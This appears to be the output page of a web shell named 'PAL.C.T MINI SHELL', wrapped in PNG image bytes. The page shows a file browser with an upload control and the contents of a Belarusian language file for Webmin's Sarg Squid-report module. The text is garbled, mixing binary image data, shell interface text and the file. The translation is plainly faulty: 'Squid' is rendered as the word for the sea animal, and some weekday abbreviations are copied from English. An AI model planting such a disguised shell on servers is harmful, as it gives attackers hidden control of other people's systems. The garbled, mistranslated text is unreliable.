php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/be.auto

index_title=Генератар справаздач кальмараў
index_econf=Файл канфігурацыі Sarg $1 у вашай сістэме не знойдзены. Магчыма, Sarg не ўсталяваны, альбо канфігурацыя модуля <a href='$2'></a> няправільная.
index_ecmd=Праграма Sarg $1 не знойдзена ў вашай сістэме. Магчыма, ён не ўсталяваны, альбо канфігурацыя модуля <a href='$2'></a> няправільная.
index_eversion=Не атрымалася атрымаць версію Sarg з камандай $1 : $2 
index_version=Версія Sarg $1 
index_generate=Стварыць справаздачу зараз
index_generatedesc=Націсніце гэтую кнопку, каб неадкладна стварыць справаздачу Sarg у $1, выкарыстоўваючы бягучую канфігурацыю.
index_clear=Выдаліць існуючы справаздачу ў каталогу?
index_range=Стварыць справаздачу для дыяпазону дат
index_view=Паглядзець генераваны справаздачу
index_viewdesc=Праглядзіце самы апошні згенераваны справаздачу ў каталогу $1.
index_return=Індэкс модуля

log_title=Крыніца часопіса і пункт прызначэння справаздачы
log_header=Зыходны файл часопіса кальмараў і згенераваныя параметры справаздачы
log_access_log=Зыходны файл часопіса кальмараў
log_squid=Бягучы часопіс сервера кальмараў ($1)
log_other=Іншы файл
log_output_dir=Каталог справаздач аб прызначэнні
log_output_email=Паведаміць па электроннай пошце
log_nowhere=Нідзе
log_useragent_log=Файл часопіса карыстальніка агента
log_lastlog=Колькасць справаздач, якія трэба захаваць
log_unlimit=Неабмежаваны
log_mail_utility=Каманда адпраўкі пошты
log_remove_temp_files=Выдаліць часовыя файлы пасля справаздачы?
log_err=Не атрымалася захаваць параметры крыніцы часопіса
log_efile=Файл не існуе
log_edir=Каталог не існуе
log_elastlog=Адсутнічае ці не нумар
log_eemail=Адсутнічае альбо несапраўдны выгляд электроннай пошты
log_emailx=Прапушчаная альбо неіснуючая паштовая праграма
log_squidguard_log_path=Файл часопіса SquidGuard

style_title=Стыль справаздачы
style_header=Стыль HTML і варыянты колеру
style_title2=Назва справаздачы
style_font_face=Паведаміць пра шрыфт цела
style_header_color=Колер загалоўка
style_header_bgcolor=Колер фону загалоўка
style_header_font_size=Памер шрыфта загалоўка
style_background_color=Колер фону
style_text_color=Колер тэксту
style_text_bgcolor=Колер фону тэксту
style_title_color=Колер назвы
style_logo_image=Спасылка на выяву для лагатыпа
style_image_size=Памер выявы (шырыня і вышыня)
style_logo_text=Тэкст для лагатыпа
style_logo_text_color=Колер тэксту для лагатыпа
style_background_image=Спасылка на выявы для фону
style_err=Не атрымалася захаваць параметры стылю справаздачы
style_etitle=Адсутнічае назва дакладу
style_ecolour=Адсутнічае альбо недапушчальнае імя колеру альбо код RRGGBB
style_efontsize=Адсутнічае ці недапушчальны зрух памеру шрыфта
style_efont=Адсутнічае альбо недапушчальнае імя шрыфта
style_esize=Шырыня і вышыня малюнка адсутнічаюць альбо недапушчальныя
style_language=Мова справаздачы
style_charset=Паведаміць пра набор знакаў

report_title=Параметры справаздачы
report_header=Паведаміць пра змест і параметры генерацыі
report_resolve_ip=Вырашыць IP-адрасы?
report_user_ip=Выкарыстоўваць IP-адрасы замест ідэнтыфікатараў карыстальніка?
report_user_sort_field=Заказ на справаздачу карыстальніка
report_topuser_sort_field=Заказ для справаздачы лепшых карыстальнікаў
report_reverse=У зваротным парадку
report_forward=У перадавым парадку
report_by_user=Па імя карыстальніка
report_by_connect=Да часу падлучэння
report_by_bytes=Па байтах
report_by_time=Па часе
report_by_site=Па сайце
report_exclude_users=Пералік файлаў карыстальнікі для выключэння
report_exclude_hosts=Хостынг спісаў файлаў трэба выключыць
report_index=Зноў стварыць <tt>index.html</tt> файл?
report_only=Стварыць толькі <tt>index.html</tt>
report_overwrite_report=Перапісаць справаздачу на дату?
report_overno=Не, перайменаваць.1
report_records_without_userid=Дзеянне для запісаў без карыстальніка?
report_ignore=Цалкам ігнаруйце
report_ip=Выкарыстоўвайце IP-адрас замест гэтага
report_everybody=Выкарыстоўвайце імя карыстальніка <tt>усе</tt>
report_use_comma=Выкарыстоўвайце коску замест. у лічбах?
report_topsites_num=Колькасць лепшых сайтаў для паказу
report_topsites_sort_order=Заказ на справаздачу галоўных сайтаў
report_sorta=Узыходзячае
report_sortd=Убываючы
report_index_sort_order=Заказ спасылак у <tt>index.html</tt>
report_exclude_codes=Пералік файлаў HTTP-кодаў, якія неабходна выключыць
report_max_elapsed=Максімальны пройдзены час (мс)
report_report_type=Паведаміць раздзелы для генерацыі
report_topsites=Топ сайтаў
report_topusers=Лепшыя карыстальнікі
report_sites_users=Сайты па карыстачу
report_users_sites=Карыстальнікі на сайце
report_date_time=Выкарыстанне па днях і гадзінах
report_denied=Адмоўленыя сайты
report_downloads=Загрузкі
report_auth_failures=Збоі аўтэнтыфікацыі
report_site_user_time_date=Сайты, даты, час і байты
report_all=Усе справаздачы
report_below=Выбрана ніжэй ..
report_usertab=Файл адлюстравання карыстальніка
report_long_url=Паказаць поўныя URL-адрасы ў справаздачы?
report_date_time_by=Сартаваць дату/час дакладу па
report_bytes=Байт
report_elap=Мінуў час
report_user_invalid_char=Несапраўдныя сімвалы ў імёнах карыстальнікаў
report_privacy=Схаваць наведаныя сайты?
report_privacy_string=Тэкст замены наведвальных сайтаў
report_privacy_string_color=Колер для замены тэксту
report_below2=Уведзена ніжэй ..
report_include_users=Генераваць справаздачу толькі для карыстальнікаў
report_exclude_string=Выключыць радкі часопіса, якія змяшчаюць
report_allusers=Усе карыстальнікі
report_nostrings=Не выключайце ніводнага
report_topuser_num=Колькасць лепшых карыстальнікаў для адлюстравання
report_site_user_time_date_type=Фармат сайта, карыстальніка, даты і часу
report_table=Табліца HTML
report_list=Спіс тэкстаў
report_displayed_values=Паказаць трафік як
report_bytes2=Байт
report_abbrev=Скарочана (K, M, G)
report_weekdays=Будныя дні, якія трэба ўключыць у справаздачу
report_weekdays0=Су
report_weekdays1=Пн
report_weekdays2=Ту
report_weekdays3=Мы
report_weekdays4=Чт
report_weekdays5=Фр
report_weekdays6=Са
report_hours=Гадзіны для ўключэння ў справаздачу
report_err=Не ўдалося захаваць параметры справаздачы
report_efile=Файл не існуе
report_enum=Не колькасць
report_echar=Прабелы не дапускаюцца
report_estring=Адсутнічае альбо недапушчальны тэкст замены
report_eselect=Нічога не абрана
report_eenter=Нічога не ўвялі

sched_title=Генерацыя планаванага справаздачы
sched_header=Запланаваныя варыянты справаздачнасці
sched_sched=Уключаны запланаваны справаздачу?
sched_yes=Так, часам выбраны ніжэй ..
sched_clear=Ачысціць каталог справаздач кожны раз?
sched_dir=Каталог справаздач
sched_edir=На старонцы <a href='$1'>Крыніца часопіса і прызначэнне справаздачы</a> не вызначана каталог справаздач аб прызначэнні. Гэта трэба ўсталяваць да таго, як можна будзе ўключыць запланаванае справаздачнасць.
sched_esfile=На старонцы <a href='$1'>Крыніца часопіса і пункт прызначэння справаздачы</a> не вызначаны файл часопіса кальмараў. Гэта трэба ўсталяваць да таго, як можна будзе ўключыць запланаванае справаздачнасць.
sched_range=Стварыць справаздачу для дыяпазону дат
sched_rall=Усе запісы ў файле часопіса
sched_rsel=Тыя, ад $1 да $2 дні таму
sched_err=Не атрымалася захаваць запланаванае генераванне справаздачы
sched_erfrom=Адсутнічае альбо недапушчальная стартавая колькасць дзён таму
sched_erto=Адсутнічае альбо недапушчальная колькасць дзён таму

view_title=Даклад Сарг
view_efile=Несапраўднае імя файла!
view_eopen=Не атрымалася адкрыць файл справаздачы

gen_title=Стварыць справаздачу
gen_header=Цяпер генеруецца справаздача Sarg з файла часопіса Squid $1 і ўсе верцяцца версіі ..
gen_done=.. малайчына
gen_failed=.. Сарг праваліўся! Больш падрабязна глядзіце выснову вышэй.
gen_nothing=.. Сарг скончыў, але справаздачу не было. Больш падрабязна глядзіце выснову вышэй.
gen_view=Паглядзець завершаны справаздачу.
gen_err=Не атрымалася стварыць справаздачу
gen_efrom=Адсутнічае альбо несапраўдны з дня
gen_eto=Адсутнічае альбо несапраўдны на сённяшні дзень

webmin_log_log=Абноўлены крыніца часопіса і параметры прызначэння справаздачы
webmin_log_report=Абноўлены варыянт справаздачы
webmin_log_style=Абноўленыя параметры стылю справаздачы
webmin_log_sched_create=Уключана планавая справаздачнасць
webmin_log_sched_delete=Адключана планавая справаздачнасць
webmin_log_sched_update=Абноўлена планавая справаздачнасць
webmin_log_sched_nothing=Злева ад запланаванага паведамлення адключана
webmin_log_generate=Створаны справаздачу
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`